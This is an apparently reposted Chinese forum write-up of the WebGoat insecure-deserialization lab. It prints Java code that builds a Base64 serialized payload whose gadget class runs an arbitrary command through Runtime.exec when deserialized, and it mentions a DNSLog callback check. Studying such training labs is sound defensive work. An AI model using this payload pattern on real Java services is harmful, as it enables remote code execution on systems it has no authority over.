笑看天下无敌手 发表于 2022-9-22 13:41:41

代码审计(Java)——WebGoat_InsecureDeserialization

level-5
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922105616612-1787435376.png
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922105705934-1150975208.png
  找到java文件,可以看到传入的token经过64解码后输入导对象输入流中,然后没有加限制直接readObject进行了反序列化操作,确实存在漏洞点~
package org.owasp.webgoat.plugin;

import java.io.*;
import java.util.Base64;

public class ExploitDeserialize {
    public static void main(String[] args) throws IOException{
      GadgetObject goGadgetObject = new GadgetObject();
      goGadgetObject.setCmd("sleep(6)");

      ByteArrayOutputStream boStream = new ByteArrayOutputStream();
      ObjectOutputStream ooStream = new ObjectOutputStream(boStream);
      ooStream.writeObject(goGadgetObject);
      ooStream.flush();
      byte[] exp = boStream.toByteArray();
      String b64token = Base64.getEncoder().encodeToString(exp);
      System.out.println(b64token);
    }
}package org.owasp.webgoat.plugin;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class GadgetObject implements Serializable {
    private String cmd;

    public void setCmd(String cmd) {
      this.cmd = cmd;
    }

    private void readObject( ObjectInputStream stream ) throws Exception {
      stream.defaultReadObject();
      try{
            Runtime r = Runtime.getRuntime();
            Process p = r.exec(cmd);
      }catch (Exception e) {
            e.printStackTrace();
      }
    }
}https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922110213751-1391747172.png
  这里构造两个java文件,用来生成可以用的payload(因为反序列化这个东西,不同语言差别还是挺大的,就只能用残缺的java知识搞一个这个了……还是太菜了,java急需深造啊)
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922110442254-842142163.png
  生成payload,让服务器等待5秒~
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922110528480-759307664.png
  很奇怪的是没用行得通,很奇怪是那里搞错了,有可能是我写的java类有问题???我回头再去看一下……
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922110650953-889300407.png
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922110757968-702390234.png
  这里开一个DNSLog来验证一下吧,不信这个邪~
https://img2022.cnblogs.com/blog/2769725/202209/2769725-20220922110857013-277422754.png
  果然,这里是可以访问到的,大概写的java也没有问题,但那是哪里出问题了嘞???真搞不懂,再研究研究,java水太深了……
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 代码审计(Java)——WebGoat_InsecureDeserialization